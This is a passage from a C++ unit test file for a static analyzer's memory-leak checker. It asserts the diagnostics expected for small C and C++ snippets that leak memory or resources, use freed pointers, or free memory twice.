(x && (p = new char[10])) { }\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:37]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign15() {\n // #8120\n check(\"void f() {\\n\"\n \" baz *p;\\n\"\n \" p = malloc(sizeof *p);\\n\"\n \" free(p);\\n\"\n \" p = malloc(sizeof *p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign16() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" free(p);\\n\"\n \" if (p=dostuff()) *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign17() { // #9047\n check(\"void f() {\\n\"\n \" char *p = (char*)malloc(10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = (char*)(int*)malloc(10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign18() {\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if (x && (p = (char*)malloc(10))) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:42]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" char *p;\\n\"\n \" if (x && (p = (char*)(int*)malloc(10))) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:48]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign19() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" free((void*)p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign20() { // #9187\n check(\"void f() {\\n\"\n \" char *p = static_cast(malloc(10));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign21() {\n check(\"void f(int **x) {\\n\" // #10186\n \" void *p = malloc(10);\\n\"\n \" *x = (int*)p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #10996\n \"void f() {\\n\"\n \" S* s = new S();\\n\"\n \" (void)s;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:1]: (error) Memory leak: s [memleak]\\n\", errout_str());\n }\n\n void assign22() { // #9139\n const Settings s = settingsBuilder().library(\"posix.cfg\").build();\n check(\"void f(char tempFileName[256]) {\\n\"\n \" const int fd = socket(AF_INET, SOCK_PACKET, 0 );\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:1]: (error) Resource leak: fd [resourceLeak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const void * const p = malloc(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign23() {\n const Settings s = settingsBuilder().library(\"posix.cfg\").build();\n check(\"void f() {\\n\"\n \" int n1, n2, n3, n4, n5, n6, n7, n8, n9, n10, n11, n12, n13, n14;\\n\"\n \" *&n1 = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&(n2) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *(&n3) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&*&n4 = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&*&*&(n5) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&*&(*&n6) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&*(&*&n7) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *(&*&n8) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *&(*&*&(*&n9)) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" (n10) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" ((n11)) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" ((*&n12)) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" *(&(*&n13)) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \" ((*&(*&n14))) = open(\\\"xx.log\\\", O_RDONLY);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:17:1]: (error) Resource leak: n1 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n2 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n3 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n4 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n5 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n6 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n7 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n8 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n9 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n10 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n11 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n12 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n13 [resourceLeak]\\n\"\n \"[test.cpp:17:1]: (error) Resource leak: n14 [resourceLeak]\\n\",\n errout_str());\n }\n\n void assign24() {\n check(\"void f() {\\n\" // #7440\n \" char* data = new char[100];\\n\"\n \" char** dataPtr = &data;\\n\"\n \" delete[] *dataPtr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* data = new char[100];\\n\"\n \" char** dataPtr = &data;\\n\"\n \" printf(\\\"test\\\");\\n\"\n \" delete[] *dataPtr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9279\n \" int* p = new int;\\n\"\n \" *p = 42;\\n\"\n \" g();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:8]: (information) --check-library: Function g() should have configuration [checkLibraryNoReturn]\\n\",\n errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *p = 42;\\n\"\n \" g();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void g() {}\\n\"\n \"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *p = 42;\\n\"\n \" g();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"[[noreturn]] void g();\\n\"\n \"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *p = 42;\\n\"\n \" g();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() { exit(1); }\\n\"\n \"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *p = 42;\\n\"\n \" g();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {}\\n\" // #10517\n \"void f() {\\n\"\n \" char* p = malloc(10);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:5:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void assign25() {\n check(\"void f() {\\n\" // #11796\n \" int* p{ new int };\\n\"\n \" int* q(new int);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: p [memleak]\\n\"\n \"[test.cpp:4:1]: (error) Memory leak: q [memleak]\\n\",\n errout_str());\n\n check(\"struct S : B {\\n\" // #12239\n \" void f();\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" FD* fd(new FD(this));\\n\"\n \" fd->exec();\\n\"\n \"}\\n\"\n \"void S::g() {\\n\"\n \" FD* fd{ new FD(this) };\\n\"\n \" fd->exec();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #12327\n \" char* m_p;\\n\"\n \" C(char* p) : m_p(p) {}\\n\"\n \"};\\n\"\n \"std::list gli;\\n\"\n \"void f() {\\n\"\n \" std::list li;\\n\"\n \" char* p = new char[1];\\n\"\n \" C c(p);\\n\"\n \" li.push_back(c);\\n\"\n \" C c2(li.front());\\n\"\n \" delete[] c2.m_p;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" char* p = new char[1];\\n\"\n \" C c(p);\\n\"\n \" gli.push_back(c);\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" std::list li;\\n\"\n \" char* p = new char[1];\\n\"\n \" C c(p);\\n\"\n \" li.push_back(c);\\n\"\n \" delete[] li.front().m_p;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12890\n \" int** p;\\n\"\n \" S() {\\n\"\n \" p = std::malloc(sizeof(int*));\\n\"\n \" p[0] = new int;\\n\"\n \" }\\n\"\n \" ~S() {\\n\"\n \" delete p[0];\\n\"\n \" std::free(p);\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign26() {\n check(\"void f(int*& x) {\\n\" // #8235\n \" int* p = (int*)malloc(10);\\n\"\n \" x = p ? p : nullptr;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int*& x) {\\n\"\n \" int* p = (int*)malloc(10);\\n\"\n \" x = p != nullptr ? p : nullptr;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memcpy1() { // #11542\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n check(\"void f(char** old, char* value) {\\n\"\n \" char *str = strdup(value);\\n\"\n \" memcpy(old, &str, sizeof(char*));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memcpy2() {\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n check(\"void f(char* old, char* value, size_t len) {\\n\"\n \" char *str = strdup(value);\\n\"\n \" memcpy(old, str, len);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) Memory leak: str [memleak]\\n\", errout_str());\n }\n\n void isAutoDealloc() {\n check(\"void f() {\\n\"\n \" char *p = new char[100];\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:29]: (error) Memory leak: p [memleak]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred *fred = new Fred;\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string *str = new std::string;\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:2:40]: (error) Memory leak: str [memleak]\\n\", errout_str());\n\n check(\"class TestType {\\n\" // #9028\n \"public:\\n\"\n \" char ca[12];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" TestType *tt = new TestType();\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Memory leak: tt [memleak]\\n\", errout_str());\n\n check(\"void f(Bar& b) {\\n\" // #7622\n \" char* data = new char[10];\\n\"\n \" b = Bar(*new Foo(data));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:1]: (information) --check-library: Function Foo() should have / configuration [checkLibraryUseIgnore]\\n\", errout_str());\n\n check(\"class B {};\\n\"\n \" class D : public B {};\\n\"\n \" void g() {\\n\"\n \" auto d = new D();\\n\"\n \" if (d) {}\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:6:1]: (error) Memory leak: d [memleak]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12354\n \" int i{};\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void f(S* p, bool b) {\\n\"\n \" if (b)\\n\"\n \" p = new S();\\n\"\n \" p->f();\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:9:1]: (error) Memory leak: p [memleak]\\n\", errout_str());\n }\n\n void realloc1() {\n check(\"void f() {\\n\"\n \" void *p = malloc(10);\\n\"\n \" void *q = realloc(p, 20);\\n\"\n \" free(q)\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void realloc2() {\n check(\"void f() {\\n\"\n \" void *p = malloc(10);\\n\"\n \" void *q = realloc(p, 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:1]: (error) Memory leak: q [memleak]\\n\", errout_str());\n }\n\n void realloc3() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" char *q = (char*) realloc(p, 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:1]: (error) Memory leak: q [memleak]\\n\", errout_str());\n }\n\n void realloc4() {\n check(\"void f(void *p) {\\n\"\n \" void * q = realloc(p, 10);\\n\"\n \" if (q == NULL)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:5:1]: (error) Memory leak: q [memleak]\\n\", errout_str());\n }\n\n void realloc5() {\n // #9292\n check(\"void * f(void * ptr, size_t size) {\\n\"\n \" void *datap = realloc(ptr, size);\\n\"\n \" if (size && !datap)\\n\"\n \" free(ptr);\\n\"\n \" return datap;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9990\n check(\"void f() {\\n\"\n \" void * p1 = malloc(10);\\n\"\n \" if (!p1)\\n\"\n \" return;\\n\"\n \" void * p2 = realloc(p1, 42);\\n\"\n \" if (!p2) {\\n\"\n \" free(p1);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" free(p2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void freopen1() {\n check(\"void f() {\\n\"\n \" void *p = fopen(name,a);\\n\"\n \" void *q = freopen(name, b, p);\\n\"\n \" fclose(q)\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void freopen2() {\n check(\"void f() {\\n\"\n \" void *p = fopen(name,a);\\n\"\n \" void *q = freopen(name, b, p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:4:1]: (error) Resource leak: q [resourceLeak]\\n\", errout_str());\n }\n\n void deallocuse1() {\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:6]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" char c = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:15]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\", errout_str());\n }\n\n void deallocuse3() {\n check(\"void f(struct str *p) {\\n\"\n \" free(p);\\n\"\n \" p = p->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:9]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\", errout_str());\n }\n\n void deallocuse4() {\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:5] -> [test.c:3:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (!p) free(p);\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (!p) delete p;\\n\"\n \" return p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (!p) delete [] p;\\n\"\n \" return p;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\"\n \" if (a) {\\n\"\n \" free(p);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" g(p);\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse5() { // #4018\n check(\"void f(char *p) {\\n\"\n \" free(p), p = 0;\\n\"\n \" *p = 0;\\n\" // <- Make sure pointer info is reset. It is NOT a freed pointer dereference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse6() { // #4034\n check(\"void f(char *p) {\\n\"\n \" free(p);\\n\"\n \" x = p = foo();\\n\" // <- p is not dereferenced\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse7() { // #6467, #6469, #6473, #6648\n check(\"struct Foo { int* ptr; };\\n\"\n \"void f(Foo* foo) {\\n\"\n \" delete foo->ptr;\\n\"\n \" foo->ptr = new Foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int* ptr; };\\n\"\n \"void f(Foo* foo) {\\n\"\n \" delete foo->ptr;\\n\"\n \" x = *foo->ptr;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereferencing 'ptr' after it is deallocated / released [deallocuse]\\n\", \"\", errout_str());\n\n check(\"void parse() {\\n\"\n \" struct Buf {\\n\"\n \" Buf(uint32_t len) : m_buf(new uint8_t[len]) {}\\n\"\n \" ~Buf() { delete[]m_buf; }\\n\"\n \" uint8_t *m_buf;\\n\"\n \" };\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" Foo();\\n\"\n \" Foo* ptr;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void bar(Foo* foo) {\\n\"\n \" delete foo->ptr;\\n\"\n \" foo->ptr = new Foo;\\n\"\n \" foo->ptr->func();\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(void (*conv)(char**)) {\\n\"\n \" char * ptr=(char*)malloc(42);\\n\"\n \" free(ptr);\\n\"\n \" (*conv)(&ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse8() { // #1765\n check(\"void f() {\\n\"\n \" int *ptr = new int;\\n\"\n \" delete(ptr);\\n\"\n \" *ptr = 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereferencing 'ptr' after it is deallocated / released [deallocuse]\\n\", errout_str());\n }\n\n void deallocuse9() {\n check(\"void f(Type* p) {\\n\" // #9781\n \" std::shared_ptr sp(p);\\n\"\n \" bool b = p->foo();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\" // #8635\n \" std::vector> array_;\\n\"\n \" A* foo() {\\n\"\n \" A* a = new A();\\n\"\n \" array_.push_back(std::unique_ptr(a));\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int *p) {\\n\" // #9838\n \" std::unique_ptr temp(p);\\n\"\n \" return DoSomething(p);\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" return g(new int(3));\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse10() {\n check(\"void f(char* p) {\\n\"\n \" free(p);\\n\"\n \" p[0] = 10;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:3:5]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\", errout_str());\n\n check(\"int f(int* p) {\\n\"\n \" free(p);\\n\"\n \" return p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:2:5] -> [test.c:3:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\", errout_str());\n }\n\n void deallocuse11() { // #8302\n check(\"int f() {\\n\"\n \" int *array = new int[42];\\n\"\n \" delete [] array;\\n\"\n \" return array[1];\" // <<\n \"}\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:4:3]: (error) Returning/dereferencing 'array' after it is deallocated / released [deallocret]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int *array = (int*)malloc(40);\\n\"\n \" free(array);\\n\"\n \" return array[1];\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:3] -> [test.c:4:3]: (error) Returning/dereferencing 'array' after it is deallocated / released [deallocret]\\n\", errout_str());\n }\n\n void deallocuse12() {\n check(\"struct foo { int x; }\\n\"\n \"void f1(struct foo *f) {\\n\"\n \" free(f);\\n\"\n \"}\\n\"\n \"void f2(struct foo *f, int *out) {\\n\"\n \" *out = f->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse13() {\n check(\"void f() {\\n\" // #9695\n \" auto* a = new int[2];\\n\"\n \" delete[] a;\\n\"\n \" a[1] = 0;\\n\"\n \" auto* b = static_cast(malloc(8));\\n\"\n \" free(b);\\n\"\n \" b[1] = 0;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Dereferencing 'a' after it is deallocated / released [deallocuse]\\n\"\n \"[test.cpp:7:5]: (error) Dereferencing 'b' after it is deallocated / released [deallocuse]\\n\",\n errout_str());\n }\n\n void deallocuse14() {\n check(\"struct S { void f(); };\\n\" // #10905\n \"void g() {\\n\"\n \" S* s = new S;\\n\"\n \" delete s;\\n\"\n \" s->f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Dereferencing 's' after it is deallocated / released [deallocuse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = (int*)malloc(4);\\n\"\n \" free(p);\\n\"\n \" if (*p == 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:4:10]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\",\n errout_str());\n\n check(\"int g(int);\\n\"\n \"void f(int* p) {\\n\"\n \" free(p);\\n\"\n \" g(*p);\\n\"\n \"}\\n\"\n \"int h(int* p) {\\n\"\n \" free(p);\\n\"\n \" return g(*p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:4:8]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\"\n \"[test.c:7:5] -> [test.c:8:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\",\n errout_str());\n\n check(\"int g(int);\\n\"\n \"void f(int* p) {\\n\"\n \" free(p);\\n\"\n \" g(1 + *p);\\n\"\n \"}\\n\"\n \"int h(int* p) {\\n\"\n \" free(p);\\n\"\n \" return g(1 + *p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\"\n \"[test.c:7:5] -> [test.c:8:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\",\n errout_str());\n\n check(\"int g(int, int);\\n\"\n \"void f(int* p) {\\n\"\n \" free(p);\\n\"\n \" g(0, 1 + *p);\\n\"\n \"}\\n\"\n \"int h(int* p) {\\n\"\n \" free(p);\\n\"\n \" return g(0, 1 + *p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:4:15]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\"\n \"[test.c:7:5] -> [test.c:8:5]: (error) Returning/dereferencing 'p' after it is deallocated / released [deallocret]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" FOREACH(callables, ());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:2:27]: (information) --check-library: Function FOREACH() should have configuration [checkLibraryNoReturn]\\n\", errout_str()); // don't crash\n\n check(\"int f() {\\n\" // #12321\n \" std::invoke([](int i) {\\n\"\n \" int* p = (int*)malloc(4);\\n\"\n \" *p = 0;\\n\"\n \" if (i) {\\n\"\n \" free(p);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" free(p);\\n\"\n \" }, 1);\\n\"\n \" return 0;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocuse15() {\n check(\"bool FileExists(const char* filename) {\\n\" // #12490\n \" FILE* f = fopen(filename, \\\"rb\\\");\\n\"\n \" if (f) fclose(f);\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\" // #12590\n \" FILE* fd = fopen(\\\"/foo/bar\\\", \\\"w\\\");\\n\"\n \" if (fd == nullptr)\\n\"\n \" return false;\\n\"\n \" return fclose(fd) == 0;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const char* fileName) {\\n\" // #13136\n \" FILE* h = fopen(fileName, \\\"rb\\\");\\n\"\n \" if (fseek(h, 0L, SEEK_END) == -1)\\n\"\n \" fclose(h);\\n\"\n \" int i = ftell(h);\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.c:5:19]: (error) Dereferencing 'h' after it is deallocated / released [deallocuse]\\n\", errout_str());\n }\n\n void deallocuse16() {\n check(\"void f() {\\n\"\n \" int *a = nullptr;\\n\"\n \" int *c = new int;\\n\"\n \" delete (a, c);\\n\"\n \" *c = 10;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = true));\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Dereferencing 'c' after it is deallocated / released [deallocuse]\\n\", errout_str());\n }\n\n void doublefree1() { // #3895\n check(\"void f(char *p) {\\n\"\n \" if (x)\\n\"\n \" free(p);\\n\"\n \" else\\n\"\n \" p = 0;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:9] -> [test.c:6:5]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" free(p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:3] -> [test.c:3:3]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p, char *r) {\\n\"\n \" free(p);\\n\"\n \" free(r);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" free(p);\\n\"\n \" free(r);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" if (x < 3) free(p);\\n\"\n \" else { if (x > 9) free(p); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" free(p);\\n\"\n \" getNext(&p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" free(p);\\n\"\n \" bar();\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:3] -> [test.c:4:3]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(char *p) {\\n\"\n \" free(p);\\n\"\n \" printf(\\\"Freed memory at location %x\\\", p);\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:3:41]: (error) Dereferencing 'p' after it is deallocated / released [deallocuse]\\n\"\n \"[test.c:2:3] -> [test.c:4:3]: (error) Memory pointed to by 'p' is freed twice. [doubleFree]\\n\",\n errout_str());\n\n check(\n \"void foo(FILE *p) {\\n\"\n \" fclose(p);\\n\"\n \" fclose(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.c:2:3] -> [test.c:3:3]: (error) Resource handle 'p' freed twice. [doubleFree]\\n\", errout_str());\n\n check(\n \"void foo(FILE *p, FILE *r) {\\n\"\n \" fclose(p);\\n\"\n \" 